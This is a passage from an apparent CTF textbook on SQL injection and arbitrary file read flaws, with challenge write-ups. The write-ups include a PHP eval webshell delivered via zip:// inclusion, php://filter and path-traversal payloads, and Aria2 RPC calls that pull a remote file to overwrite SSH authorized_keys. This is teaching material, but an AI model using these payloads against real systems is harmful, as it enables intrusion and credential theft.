Point 2 location has successfully escaped the quotes. Sensitive information can be
obtained using UNION injection, see Fig. 1.58.
1.2 SQL Injection in CTF 35
The critical point for the SQL injection is on escaping quotes, and developers often
do “addslashes” of the user's input globally, i.e., slashing characters such as single
quotes, backslashes, etc., such as “'” to “\'”. In this case, SQL injection may not seem
to exist, but it can still be broken under certain conditions.
1. Encoding and Decoding
Developers often use decoding functions such as urldecode, base64_decode, or
custom encryption/decryption functions. When the user enters the addslashes func-
tion, the data is encoded, and the quotes cannot be slashed, and if the input is
combined directly with the SQL statement after decoding, SQL injection can be
caused. The wide-byte injection is a classic case of injection caused by character set
conversion. Interested readers can consult the relevant documents to learn more.
2. Unexpected input points
For example, in PHP, the developer usually forgets variables such as the name of the
uploaded file, the HTTP header, and $_SERVER[‘PHP_SELF’]. Thus there are no
filters to these variables, leading to injections.
3. secondary injection
The root cause of secondary injection is that the developer trusts that the data taken
out of the database is harmless. Suppose the current data table is shown in Fig. 1.59,
and the user name admin‘or’1 entered by the user is escaped as admin\‘or\’1, so the
SQL statement is.
At this point, since the quotes are slashed, and no injection is generated, the data
is banked normally, see Fig. 1.60.
However, when this user name is used again (usually for session information), the
following code is shown.
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT username FROM wp_user WHERE
id=2");
$row = mysqli_fetch_array($res);
$name = $row["username"];
$res = mysqli_query($conn, "SELECT password FROM wp_user WHERE
username='$name'");
?>
When the name is combined into the SQL statement, it becomes as follows SQL
statement to produce SQL injection.
4. String truncation
In header, title positions, etc., developers may limit headings to no more than
10 characters, beyond which they will be truncated. For example, the PHP code is
as follows.
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$title = addslashes($_GET['title']);
$title = substr($title1, 0, 10);
echo "<center>$title</center>";
$content = addslashes($_GET['content']);
$sql = "INSERT INTO wp_news VALUES(2, '$title', '$content')";
$res = mysqli_query($conn, $sql);
?>
1.2 SQL Injection in CTF 37
We have covered the basics of SQL injection and ways to bypass it, so what are the
impacts of injection? The following is a summary of the author's experience in the
field.
• If you have the write permission, you can use INTO OUTFILE or DUMPFILE to
write directly to a web directory or write to a file and then combine it with a file
including vulnerabilities to achieve code execution, see Fig. 1.62.
• Use the load_file() function to read the source code and configuration information
with file read permission to access sensitive data.
• Elevate privileges, get higher user or administrator privileges, bypass logins, add
users, adjust user permissions, etc., to have more management functionality on
the target website.
• Control the contents of files such as templates, caches, etc., to obtain permissions
or delete or read specific critical files by injecting data from database queries.
38 1 Introduction to the Web
• Control the entire database, including arbitrary data, arbitrary field lengths, etc.,
when multiple statements can be executed.
• System commands can be executed directly in a database such as SQL Server.
This section introduces only some of the most straightforward points of the CTF,
while the actual competition will combine many features and functions. MySQL
injection challenges can use a variety of filtering methods, and due to the SQL server
in the implementation, even the same function can be implemented in a variety of
ways, and the challenges will include features that not be commonly used. Then, in
order to solve the challenges or to better understand SQL injection principles, it is
crucial to look for relevant information according to the different SQL server types,
find out which fuzz methods filter out characters, functions, keywords, etc., look for
alternatives in the document that have the same function but do not contain filtering
keywords, and finally bypass the relevant defenses.
Some platforms like sqli-labs (https://github.com/Audi-1/sqli-labs) provide injec-
tion challenges with different filter levels, covering most challenge points. By
practicing and summarizing, we can always find the necessary combinations to
solve the challenges in the competition.
The so-called file reading vulnerability means that the attacker can read the file on
the server that the developer does not allow the attacker to read through some means.
From the perspective of the entire attack process, it is often used as a powerful
supplementary method for asset information collection, various configuration files of
the server, keys stored in the form of files, server information (including information
about the processes being executed), historical commands, and network Information,
application source code, and binary programs are all snooped by attackers at the
trigger point of this vulnerability.
File reading vulnerabilities often mean that the attacker's server is about to be
wholly controlled by the attacker. Of course, if the server is deployed strictly
according to standard security specifications, even if there are exploitable file
reading vulnerabilities in the application, it is difficult for an attacker to obtain
valuable information. File reading vulnerabilities exist in almost every programming
language in which web applications can be deployed. Of course, the “existence” here
is not essentially a problem of the language itself but an omission caused by the
developer’s insufficient consideration of unexpected situations when developing.
Generally speaking, developers of web application frameworks or middleware
are very concerned about the reusability of the code, so the definition of some API
1.3 Arbitrary File Read Vulnerability 39
Different web languages have different trigger points for file reading vulnerabilities.
This section takes different web file reading vulnerabilities as examples to introduce
the specific vulnerability scenarios.
1. PHP
The part about file reading in the PHP standard functions will not be introduced in
detail. These functions include but may not be limited to: file_get_ contents(), file(),
fopen() functions (and file pointer manipulation functions fread(), fgets(), etc. ),
functions related to file inclusion (include(), require(), include_once(), require_once
(), etc.), and execute system commands for reading files through PHP (system(),
exec(), etc.). These functions are very common in PHP applications, so during the
entire PHP code audit process, these functions will be focused on by auditors.
40 1 Introduction to the Web
Some readers here may have questions. Since these functions are so dangerous,
why do developers pass input data dynamically to them as parameters? Because now
PHP development technology is more and more inclined to single entry, multi-level,
multi-channel mode, which involves intensive and frequent calls between PHP files.
In order to write file functions with high reusability, the developer needs to pass in
some dynamic information (such as the dynamic part of the file name) to those
functions (see Fig. 1.63). If branch statements such as switch are not used to control
the dynamically input data at the program entry, it is easy for an attacker to inject
malicious paths, thereby achieving arbitrary file reading or even arbitrary file
inclusion.
In addition to the standard library functions mentioned above, many common
PHP extensions also provide functions that can read files. For example, the php-curl
extension, PHP modules that involve file access operations(database-related exten-
sions, image-related extensions), XML module which could lead XXE, etc. There
are not many CTF challenges that use external library functions to read arbitrary
files. The subsequent chapters will analyze the challenges involved with examples.
1.3 Arbitrary File Read Vulnerability 41
Unlike other languages, PHP lets users specify that the open file is not a simple
path but a file stream. We can understand it as a set of protocols provided by PHP.
For example, after entering http://host:port/xxx in the browser, you can request the
corresponding file on the remote server through HTTP. In PHP, there are many
protocols with different functions but similar forms, collectively called Wrapper.
The most typical protocol is the php:// protocol. More interesting is that PHP
provides an interface for developers to write custom wrappers
(stream_wrapper_register).
In addition to Wrapper, another unique mechanism in PHP is Filter, whose
function is to perform specific processing on the current Wrapper (such as changing
the contents of the current file stream to uppercase).
For custom wrappers, Filter requires developers to register through
stream_filter_register. Moreover, some built-in wrappers in PHP will come with
filters, such as the php:// protocol. There are filters of the type shown in Fig. 1.64.
PHP's Filter feature provides us with many conveniences for reading arbitrary
files. Assuming that the path parameter of the include function on the server-side is
controllable, it will parse the target file as a PHP file under normal circumstances. If
there are PHP-related tags such as “<?php” in the parsed file, the content in the tag
will be executed as PHP code.
If we directly pass the file name of this file containing PHP code to the include
function, the PHP code cannot be leaked in the form of visual text because the PHP
code is executed. However, this can be avoided by using Filter at this time.
For example, the more common Base64-related Filter can encode the file stream
into the form of Base64 so that there will be no PHP tags in the content of the read
file. More serious is that if the remote file inclusion option allow_url_include is
enabled on the server, we can directly execute remote PHP code.
Of course, these Wrapper and Filter carried by PHP by default can be disabled
through php.ini. It is recommended to read the source code of PHP about Wrapper
and Filter to gain a deeper understanding of the relevant content.
In the real-world problems encountered about the inclusion of PHP files, we may
encounter three situations: ① The file path is controllable in the front and uncon-
trollable at the back; ② The file path is controllable at the back and uncontrollable in
the front; ③ The file path is controllable in the middle.
42 1 Introduction to the Web
For the first case, you can use "\x00" for truncation in lower PHP and container
versions, and the corresponding URL encoding is “%00”. When there is a file upload
function on the server, you can also use the zip:// or the phar:// protocol to include the
file directly and execute the PHP code.
For the second case, we can use the symbol combo “../” for directory traversal to
directly read the file, but in this case, Wrapper cannot be used. If the server uses
include or other functions about file-including, we will not be able to read the PHP
code in the PHP file.
The third case is similar to the first case, but Wrapper cannot be used for file
inclusion.
2. Python
Unlike PHP, Python's web applications tend to start their services through their
modules and then present the entire web application to the user with middleware and
proxy services. The interaction between the user and the web application itself
includes requests for server resource files, making it easy to read files unexpectedly.
As a result, we see many arbitrary file-read vulnerabilities in a Python framework
due to the lack of a unified standard for resource file interaction.
Vulnerabilities are often found in the section of the framework requesting a static
resource file, i.e., the open function that reads the file's contents at the end, but they
are often caused by framework developers ignoring the features of Python functions,
such as os.path.join().
>>> os.path.join("/a","/b")
'/b'
Many developers determine that the path passed by the user does not contain “.”
to ensure that the user does not traverse the directory when reading resources and
then substitute the user’s input into the second parameter of the os.path.join, but if
the user passes Enter “/”, you can still traverse to the root directory, which will cause
any file to be read.
In addition to the python framework being prone to such problems, many
applications involving file operations are also likely to cause arbitrary file reading
due to abuse of the open function and improper rendering of templates. For example,
some data entered by the user is stored in the server as part of the file name
(commonly used in authentication services or log services), and the processed user
input data is also used as an index to find related files in the part of fetching the
content of the file. This gives the attacker a way to perform directory traversal.
For example, in the CTF online competition, Python developers call an unsafe
decompression module to decompress compressed files, which leads to directory
traversal after the files are decompressed. Of course, the danger of directory traversal
when decompressing files is to overwrite existing files on the server.
Another situation is that the attacker constructs a soft link and puts it into the
compressed package. The decompressed content will directly point to the
corresponding file on the server. When the attacker accesses the decompressed
1.3 Arbitrary File Read Vulnerability 43
link file, the link will return to the corresponding content of the file. This will be
analyzed in detail in the following chapters. Similar to PHP, some modules of
Python may read files with XXE.
In addition, Python’s template injection, deserialization, and other vulnerabilities
can cause arbitrary file reading to a certain extent. Of course, the most significant
harm is still causing arbitrary command execution.
3. Java
In addition to the file reading caused by the function FileInputStream or XXE results,
some Java modules also support the “file://” protocol, which is the place where any
file is read the most in Java applications, such as Spring Cloud Config Server Path
traversal and arbitrary file reading vulnerability (CVE-2019-3799), Jenkins arbitrary
file reading vulnerability (CVE-2018-1999002), etc.
4. Ruby
Ruby's arbitrary file read vulnerability is commonly associated with the Rails
framework in the CTF online competition. So far, the generic vulnerabilities
known to us are Ruby On Rails Remote Code Execution (CVE-2016-0752), Ruby
On Rails Path Traversal, and Arbitrary File Read (CVE-2018-3760), Ruby On Rails
Path Traversal, and Arbitrary File Read (CVE-2019-5418). I have encountered the
Ruby On Rails Remote Code Execution Vulnerability (CVE-2016-0752) in the CTF
competition.
5. Node
At present, it is known that the express module of Node.js has an arbitrary file
reading vulnerability (CVE-2017-14849), but the author has not encountered rele-
vant CTF challenges. File reading vulnerabilities of Node in CTF are usually the
template injection, code injection, etc.
Different middleware/servers may also have file reading vulnerabilities. This section
uses file reading vulnerabilities on different middleware/servers as examples to
introduce.
1) Nginx Error Configuration
File read vulnerabilities caused by Nginx misconfigurations are frequently found in
CTF online competitions, especially when used with Python-Web applications. This
is because Nginx is generally considered to be the best implementation of the
Python-Web reverse proxy. However, its configuration file can easily cause serious
problems if it is misconfigured. For example.
44 1 Introduction to the Web
location /static {
alias /home/myapp/static/;
}
If the configuration file contains the above config option, maintenance or devel-
opers likely want the user to access the static directory (usually a static resource
directory). However, if the web path requested by the user is /static./, splicing it into
alias becomes /home/myapp/static/../, which will result in directory traversal, a
directory traversal vulnerability is created and traverses to the myapp directory. At
this point, an attacker can download Python source code and bytecode files at
will. Note: The vulnerability is caused by the absence of the “/” restriction at the
end of the location, allowing Nginx to match the path static and then splice the rest
into an alias. /static.../, Nginx does not consider it a cross-directory but instead treats
it as a complete directory name.
2) Database
Many databases can perform file reading operations, so let us take MySQL as an
example.
MySQL’s load_file() function can read a file, but reading a file with the load_file()
function first requires a database configuration with FILE permissions (which the
database root user usually has), and second requires that the MySQL user/group
executing the load_file() function has readable permissions to the target file (many of
them). The configuration files are readable by all groups/users), and mainstream
Linux systems also require Apparmor to configure a directory whitelist (by default,
the whitelist is restricted to MySQL-related directories), which is a “lot of work”.
Even with such strict exploit conditions, we often encounter file reading challenges
in CTF online competitions.
There is another way to read a file, but unlike the load_file() file read function, this
requires executing the complete SQL statement, i.e., load data infile. Again, this
requires FILE privileges but is rare because, except in the particular case of SSRF
attacks on MySQL, there are very few cases where the entire non-basic SQL
statement can be executed directly.
3) soft links
The bash command ln -s creates a soft link file to the specified file and then uploads
the soft link file to the server, and when we request access to the linked file again, we
request the file it points to on the server.
4) FFmpeg
In June 2017, an arbitrary file read vulnerability was discovered in FFmpeg. A CTF
online challenge was shown in the CISCN competition (see https://www cnblogs.
com/iamstudy/articles/2017_quanguo_ctf_web_writeup.html for the writeups),
which exploited this vulnerability.
1.3 Arbitrary File Read Vulnerability 45
5) Docker-API
Docker-API can control the behavior of Docker, generally communicating over
UNIX sockets but also communicating directly over HTTP. When we encounter
an SSRF vulnerability, especially if we can communicate with UNIX sockets via
SSRF vulnerability, we can manipulate Docker-API to load local files into a new
Docker container for reading (using Docker's ADD and COPY operations).
There are also file read vulnerabilities on the client-side, primarily based on XSS
vulnerabilities to read local files.
1) Browser/Flash XSS
Generally speaking, many browsers disable JavaScript operations related to reading
local files, such as requesting a remote website, if their JavaScript code uses the File
protocol to read a client's local files, which can fail due to the same origin strategy.
However, operations in the browser development process can bypass these mea-
sures, such as a client-side local file read vulnerability in Safari, discovered in
August 2017.
2) MarkDown Syntax Parser XSS
Similar to XSS, Markdown parsers also have some ability to parse JavaScript.
However, most of these parsers do not restrict operations to local file reads as
browsers do and rarely have similar safeguards as the same origin strategy.
1.3.2.1 Linux
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /flag(.txt|.php|.
pyc|.py...) /flag(.txt|.php|.pyc|.py ...)
flag(.txt|.php|.pyc|.py ...)
[dir_you_know]/flag(.txt|.php|.pyc|.py ...)
... /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/flag(.txt|.
php|.pyc|.py) /etc/flag(.txt|.php|.pyc|.py ...)
... /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /tmp/flag
(.txt|.php|.pyc|.py ...)
46 1 Introduction to the Web
(7) /etc/(cron.d/*|crontab)
/etc/(cron.d/*|crontab) are cron files. Some CTF challenges will setup cron services,
and reading these configuration files will reveal hidden directories or other files.
(8) /etc/environment
/etc/environment is one of the environment variable configuration files. The envi-
ronment variables may have many directory information leaked, and even a secret
key may be leaked.
(9) /etc/hostname
/etc/hostname represents the hostname.
(10) /etc/hosts
/etc/hosts is a static table of hostname lookups that contains information about pairs
of IP addresses for a given domain. With this file, CTF players could get network
information and intranet IPs/domains.
(11) /etc/issue
/etc/issue specifies the system version.
(12) /etc/mysql/*
/etc/mysql/* are the MySQL configuration files.
(13) /etc/php/*
/etc/php/* are the PHP configuration files.
(14) /proc directory
The /proc directory usually stores various information about the dynamic running of
the process and is essentially a virtual directory. Note: If you view the information of
the non-current process, then PID can be brute-forced. If you want to view the
current process, you only need to replace /proc/[pid]/ with /proc/self/.
The cmdline file in the corresponding directory can read more sensitive informa-
tion, e.g., logging into MySQL using mysql -uxxx -pxxxx will display the plaintext
password in the cmdline file.
There may be a secret_key in the environment variable, which can also be read
from the environ.
Log files.
/var/www/html/
User directory.
Sometimes we want to read the executable file of the current application for
analysis, but in practice there may be some security measures that prevent us from
reading the executable file, in which case we can try to read /proc/self/exe.
1.3.2.2 Windows
The Windows web application arbitrary file read vulnerability is not common in CTF
challenges, but there is a problem when Windows is used with PHP: it is possible to
use symbols such as “<” as wildcards to read files without knowing the full file
name. The contents are described in detail in the following examples.
Based on a large number of relevant CTF real challenges, this section introduces
real-world cases of file reading vulnerabilities.
【Intro】The first half of the path argument passed to the include function can be
controlled by an attacker, the second half of the content is determined, and the
uncontrollable part is the .php suffix.
...
$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];
if(preg_match('/\. \cr. /', $fp)){
die('No No No!');
}
if(preg_match('/rm/i', $_SERVER["QUERY_STRING"]){
die();
}
...
if($fp ! == 'fail')
{
if(! (include($fp.'.php')))
{
There is a file upload function in the upload.php, but the file's name uploaded to
the server is not controlled.
...
// function.php
function create_imagekey(){
return sha1($_SERVER['REMOTE_ADDR']. $_SERVER['HTTP_USER_AGENT'].
time().mt_rand());
}
...
50 1 Introduction to the Web
//upload.php
$imagekey = create_imagekey();
move_uploaded_file($name, "uploads/$imagekey.png");
echo "<script>location.href='?fp=show&imagekey=$imagekey'</
script>";
...
【Difficulty】 Moderate.
【Knowledge】 Filter utilization of php:// protocol; file inclusion via zip://
protocol.
【Challenge solving】 Start the challenge, find only one upload form on the home
page, first upload a normal file for testing. By hijacking local network packages, we
found that the POST data is transferred to “/?fp¼upload”, then follow the package
flow, we will find the result jump to “/?fp¼show&imagekey¼xxx”. ”.
From there, the direction of thinking will vary for players with different levels of
experience.
(1) Step 1
Novice players: Continue to test the file upload function.
Experienced players: Seeing the fp argument, they associate it with a file pointer,
i.e., the value of fp may be related to a file.
(2) Step 2
Novice players: How could I bypass the file upload protection mechanism?
Experienced players: go directly to show.php, upload.php, or try to find a PHP file
with a name that has the special meaning of show or upload, or change show/upload
to another known file named “home”.
For more experienced players: change the content of the fp parameter to “./show”
“.. /html/show”, etc. We cannot know the exact path of the target file it contains, and
if it is a strange path, we cannot find the original PHP file, so the “ ./show” format is a
good solution to this problem makes it easy to determine if there is an arbitrary file
inclusion vulnerability.
(3) Step 3
Novice players: This challenge must require 0day to bypass the protection. II should
give up.
Experienced players: According to the results of directly accessing “show.php/
upload.php” and “?fp¼home”, it is judged that there is a file inclusion vulnerability.
Use the Filter mechanism to construct attack data like “php://filter/convert.base64-
encode/resource¼xxx”. Read files and get the source code of various files; use
the zip:// protocol with the uploaded Zip File, including a compressed Webshell
file; then call the Webshell in the compressed package through the zip:// protocol,
and the link to access this Webshell is
?fp=zip://uploads/fe5e1c43e6e6bcfd506f0307e8ed6ec7ecc3821d.png%
231&shell=phpinfo();
fe5e1c43e6e6bcfd506f0307e8ed6ec7ecc3821d.png (zipfile)
1.php (phpfile) => "<?php eval($_GET['shell']);?>"
1.3 Arbitrary File Read Vulnerability 51
【Summary】 ① The challenge first examines the player's ability to find any file
reading/including related vulnerabilities through black-box testing. Everyone has
their own unique testing method. The ideas written above are for reference only.
When conducting black-box testing, we must capture the keywords in the param-
eters and have a certain association ability.
② Examine the use of Filter by players, such as php://filter/convert.Base64-encode
(encode the file stream through Base64).
③ Examined the players’ use of the zip:// protocol: Treat the file stream as a Zip file
stream, and use “#” (%23) to select the file stream of the specified file in the
compressed package.
You may not understand point ③, but here is the explanation. When we upload a Zip
file to the server when the zip file is parsed using the zip:// protocol, the Zip file is
automatically parsed according to its file structure, and then the Zip file is indexed by
“# (corresponding URL code %23) +filename”. (In the example above, a file named
1.php is stored internally. In this case, the entire file stream is localized to 1.php, so
the include contents are the contents of 1.php, as shown in Fig. 1.65.
1.3.3.2 PWNHUB-Classroom
【Intro】 Develop with the Django framework and configure a static resource direc-
tory in an insecure way.
#urls.py
from django.conf.urls import url
from.import views
urlpatterns = [url('^$', views.IndexView.as_view(), name='index'),
url('^login/$', views.LoginView.as_view(), name='login'),
url('^logout/$', views.LogoutView.as_view(), name='logout'),
url('^static/(?P<path>.*)', views.StaticFilesView.as_view(),
name='static')]
...
##views.py
...
class StaticFilesView(generic.View):
content_type = 'text/plain'
def get(self, request, *args, **kwargs):
filename = self.kwargs['path']
filename = os.path.join(settings.BASE_DIR, 'students', 'static',
52 1 Introduction to the Web
filename)
name, ext = os.path.splitext(filename)
if ext in ('.py', '.conf', '.sqlite3', '.yml'):
raise exceptions.PermissionDenied('Permission deny')
try:
return HttpResponse(FileWrapper(open(filename, 'rb'), 8192),
content_type=self.content_type)
except BaseException as e:
raise Http404('Static file not found')
...
【Difficulty】 Moderate.
【Knowledge】 Python (Django) file read vulnerability caused by static resource
configuration error; Pyc bytecode file decompilation; Django framework ORM
injection.
【Challenge solving】 The first vulnerability: The code first matches the content
after the URL path static/ passed in by the user, and then passes this content to os.
path.join, and forms an absolute path after splicing with some system default
directories, and then performs the suffix name Check, after checking, the absolute
path will be passed into the open() function, read the file content and return to
the user.
The second vulnerability is in the views.py class LoginView. As you can see,
after loading the JSON data passed by the user, the loaded data is directly passed into
the x.objects.filter (a native Django ORM function).
...
class LoginView(JsonResponseMixin, generic.TemplateView):
template_name = 'login.html'
def post(self, request, *args, **kwargs):
data = json.loads(request.body.decode()))
stu = models.Student.objects.filter(**data).first()
if not stu or stu.passkey ! = data['passkey']:
return self._jsondata('', 403)
else:
request.session['is_login'] = True
return self._jsondata('', 200)
...
Open the challenge link first and could see the Server information displayed in the
HTTP response header.
We can know that Python's Django framework develops the challenge. When
encountering a situation where the source code is not provided in the Python
challenges, we can first try whether there are vulnerabilities related to directory
traversal (maybe Nginx insecure configuration or Python framework insecure
1.3 Arbitrary File Read Vulnerability 53
configuration), here use “/etc/passwd” as an examination for file reading, and the
requested path is:
/static/../../../../../../etc/passwd
It can be found that any file reading vulnerability does exist, but when trying to
read Python source code files, it is found that the server has filtered several common
file extensions, including Python extensions, configuration file extensions, Sqlite file
extensions, and YML. File extension:
Is there any other way to get the source code? When you run a Python file in
Python 3, the running module is cached and stored in the __pycache__ directory,
where the pyc bytecode file is named as follows.
/static/.. /__pycache__/urls.cpython-35.pyc
Now we successfully read the PYC bytecode file. Read all the remaining PYC
files and then decompile the PYC bytecode file to get the source code. By reviewing
the obtained source code, we found an ORM injection vulnerability, which can be
exploited to obtain the flag content. See Fig. 1.66.
【Summary】 ① CTF players need to judge the challenge’s environment through the
fingerprint information in the HTTP header. Of course, some experience and
skills may be involved here, which need to be accumulated through practice.
54 1 Introduction to the Web
② Should be familiar with the environment and web application framework used by
CTF challenge. Even if CTF players are unfamiliar initially, they must quickly
build and learn the characteristics of the environment and framework or look
through the manual. Note: Quickly setting up an environment and learning
features is the basic ability of CTF players to solve Web challenges.
③ Able to find a directory traversal vulnerability through black-box testing and then
use this vulnerability to read arbitrary files.
④ Source code audit, according to ②, after understanding the characteristics of the
framework, the flag is obtained through ORM injection.
// UserController.class
...
@RequestMapping(value={"/headimg.do"},
method={org.springframework.web.bind.annotation.
RequestMethod.GET})
public void UpdateHead(@RequestParam("url") String url)
{
String downloadPath = this.request.getSession().getServletContext
().getRealPath("/")+"/headimg/";
String headurl = "/headimg/" + HttpReq.Download(url, downloadPath);
User user = (User)this.session.getAttribute("user");
Integer uid = user.getId();
this.userMapper.UpdateHeadurl(headurl, uid);
}
...
// HttpReq.class
...
public static String Download(String urlString, String path)
{
String filename = "default.jpg";
if (endWithImg(urlString)) {
try
{
URL url = new URL(urlString);
URLConnection urlConnection = url.openConnection();
urlConnection.setReadTimeout(5000);
int size = urlConnection.getContentLength();
if (size < 10240)
{
InputStream is = urlConnection.getInputStream();
...
1.3 Arbitrary File Read Vulnerability 55
【Difficulty】 Easy.
【Knowledge】 The File protocol of Java URL component.
【Challenge solving】 Decompile the Java class bytecode file (JD); Find the
vulnerabilities in the source code through code audit.
【Summary】 CTF players must accumulate experience and understand the URL
component's protocols. The shared slide after the game is shown in Fig. 1.67.
【Intro】 This challenge is developed using the Rails framework, and there is a Ruby
On Rails remote code execution vulnerability (CVE-2016-0752), and the file can be
read arbitrarily (the root cause of the vulnerability is a file inclusion vulnerability).
def show
render params[:template]
end
Reading the source code reveals that the application uses Rails’ Cookie-Serialize
module to construct malicious deserialized data by reading the application's key,
which executes malicious code.
#config/initializers/cookies_serializer.rb
Rails.application.config.action_dispatch.cookies_serializer = :json
【Difficulty】 Moderate.
【Knowledge】 Ruby On Rails framework arbitrary file read vulnerability; Rails
cookies deserialization vulnerability.
56 1 Introduction to the Web
【Intro】 The function of the challenge is mainly divided into the following two
points.
(1) The user can set a template to be rendered, but this template has certain
restrictions. Only “.” and letters and numbers can be used. In addition, the functional
API of the rendering template only allows 127.0.0.1 (local) to make requests.
...
const checkPUG = (upug) => {
const fileterKeys = ['global', 'require']
return /^[a-zA-z0-9\.]*$/g.test(upug) && !fileterKeys.some(t =>
upug.toLowerCase().includes(t))
}
...
console.log('Generator pug template')
const uid = req.session.user.uid
const body = `#{${upug}}`
console.log('body', body)
const upugPath = path.join('users', utils.md5(uid), `${uid}.pug`)
console.log('upugPath', upugPath)
try {
fs.writeFileSync(path.resolve(config.VIEWS_PATH, upugPath), body)
}
catch (err) {
...
(2) In the challenge, an API sends a request through a local proxy. The user enters
the URL, and the backend will start the Chrome browser to request this URL, and
take a screenshot of the requested page and feed it back to the user. Of course, the
URL submitted by the user also has certain restrictions, which must be the locally
configured HOST (127.0.0.1). There is a problem here. The HOST part of the URL
we pass in the File protocol is empty, so this check can also be bypassed.
【Difficulty】 Moderate.
【Knowledge】 The protocol supported by the browser and the use of view-source;
Node template injection; HTTP Request Header: Range.
【Challenge solving】 Through auditing the source code, we found the template
injection vulnerability and the server-side browser request rule and found the
solution direction: get the path of the flag, and read the content of the flag.
1.3 Arbitrary File Read Vulnerability 59
...
const FLAG_PATH = path.resolve(constant.ROOT_PATH, '********')
...
const FLAGFILENAME = process.env.FLAGFILENAME || '********'
...
{
...
"in_lang_query_is_spelled": "In french, <b>{{userQuery}}</b> is
spelled
<b ng-bind=\"i18n.word(userQuery)\"></b>." ,
...
}
Using {{this.$parent.$parent.window.angular.module('demo')._invokeQueue[3]
[2][1]}} to read some code snippets and found that i18n.template is used to render
the template, through i18n .template('./flag.txt') reads the flag.1
【Difficulty】 Moderate.
【Knowledge】 Node template injection; read flag through i18n.template.
【Challenge solving】 First, find template injection, use template injection to
collect information, after obtaining enough information, use template injection,
call the file reading function to read the flag file.
【Summary】 The challenge involves knowledge of Node template injection,
requiring players to understand the template's syntax; converting the template
injection vulnerability into a file reading vulnerability.
1.3 Arbitrary File Read Vulnerability 61
【Intro】 Scanning the subdomains, I found a site that recorded the challenge envi-
ronment building process (blog.loli.network) and found that the Nginx configuration
file is as follows:
location /bangumi {
alias /var/www/html/bangumi/;
}
location /admin {
alias /var/www/html/yaaw/;
}
After exploiting the directory traversal, the Aria2 configuration file is found in the
parent directory, see Fig. 1.75.
It was also discovered that the Aria2 service is open on port 6800 of the challenge
server.
enable-rpc=true
rpc-allow-origin-all=true
seed-time=0
disable-ipv6=true
rpc-listen-all=true
rpc-secret=FLAG{infactthisisnotthecorrectflag}
【Difficulty】 Moderate.
【Knowledge】 Nginx misconfiguration leading to directory traversal; Aria2 arbi-
trary file write vulnerability.
【Challenge solving】 First, collect the necessary information, including direc-
tories, subdomains, etc. Nginx configuration errors were discovered during the test
(according to the Nginx configuration file obtained in the previous information
collection step, the directory traversal vulnerability can also be found directly
through black-box testing. The critical condition for performing black-box testing is
to understand the features of Nginx and its Possible vulnerabilities. This can also
save us the time required for information collection and go directly to the second step
of solving the challenge). Use the Ngnix directory to traverse to obtain the Aria2
configuration file, get the rpc-secret, and use the rpc-secret to use the Aria2 arbitrary
file writing vulnerability to write the ssh public key to the server.
First, send the following payload to configure the server-side allowoverwrite
option to be true.
{
"jsonrpc":"2.0",
"method":"aria2.changeGlobalOption",
"id":1,
"params":
[
"token:FLAG{infactthisisnotthecorrectflag}",
{
"allowoverwrite":"true"
}
]
}
Then call the API to download the remote file, overwrite any local file (here,
directly overwrite the SSH public key), and log in to get the flag through SSH.
{
"jsonrpc":"2.0",
"method":"aria2.addUri",
"id":1,
"params":
[
"token:FLAG{infactthisisnotthecorrectflag}",
["http://x.x.x.x/1.txt"],
{
"dir":"/home/bangumi/.ssh",
"out":"Authorized_keys".
}
]
}
【Intro】 (1) The .DS_Store file is found to exist. See Fig. 1.76.
(2) The .DS_Store file leaks the current directory structure. Through analysis of the
.DS_Store file, it is found that there are directories such as upload and pwnhub.
1.3 Arbitrary File Read Vulnerability 63
(3) The pwnhub directory is configured to be forbidden in the Nginx file (the Nginx
configuration file cannot be obtained in the early stage of the game and can only
be judged by HTTP code 403). The configuration content is as follows.
location /pwnhub/ {
deny all;
}
(4) There is a hidden directory at the same level in pwnhub, the index.php file under
it can upload any TAR compressed package, and the Python script is called to
automatically decompress the uploaded compressed package, and at the same
time, the content of the file with the suffix of .cfg in the compressed package is
returned.
<?php
// Set the encoding to UTF-8 to avoid garbled Chinese characters.
header('Content-Type:text/html;charset=utf-8');
# Quit when no files are uploaded
$file = $_FILES['upload'];
# Filename Unpredictability
$salt = Base64_encode('8gss7sd09129ajcjai2283u821hcsass').mt_rand
(80,65535);
$name = (md5(md5($file['name']. $salt). $salt).' .tar');
if (!isset($_FILES['upload']) or !is_uploaded_file($file
['tmp_name'])) {
exit;
}
# Move files to the appropriate folder
if (move_uploaded_file($file['tmp_name'], "/tmp/pwnhub/$name")) {
$cfgName = trim(shell_exec('python /usr/local/nginx/html/
6c58c8751bca32b9943b34d0ff29bc16/untar.py /tmp/pwnhub/'.
$name)); and $name));
$cfgName = trim($cfgName);
echo "<p>The update configuration is successful, with the following
contents</p>";
// echo '<br/>';
echo '<textarea cols="30" rows="15">';
readfile("/tmp/pwnhub/$cfgName");
echo '</textarea>';
}
64 1 Introduction to the Web
else {
echo("Failed!");
}
?>
#/usr/local/nginx/html/6c58c8751bca32b9943b34d0ff29bc16/untar.py
import tarfile
import sys
import uuid
import os
def untar(filename):
os.chdir('/tmp/pwnhub/')
t = tarfile.open(filename, 'r')
for i in t.getnames():
if '...' in i or '.cfg' ! = os.path.splitext(i)[1]:
return 'error'
else:
try:
t.extract(i, '/tmp/pwnhub/')
except Exception, e:
return e
else:
cfgName = str(uuid.uuid1()) + '.cfg'
os.rename(i, cfgName)
return cfgName
if __name__ == '__main__':
filename = sys.argv[1]
if not tarfile.is_tarfile(filename):
exit('error')
else:
print untar(filename)
(5) By analyzing the Linux crontab tasks, it was found that there exists a cron task.
30 * * * * root sh /home/jdoajdoiq/jdijiqjwi/jiqji12i3198ua
x192/cron_run.sh
(6) cron_run.sh executes a Python script that sends an email, which reveals the email
account and password.
#coding:utf-8
import smtplib
from email.mime.text import MIMEText
mail_user = '[email protected]'
mail_pass = '634DRaC62ehWK6X'
mail_server = 'smtp.21cn.com'
mail_port = 465
...
1.3 Arbitrary File Read Vulnerability 65
(7) Login via the leaked email information and continue to find the leaked VPN
account password in the email. See Fig. 1.77.
(8) Login to the intranet via VPN and find an Nginx container with a readable flag
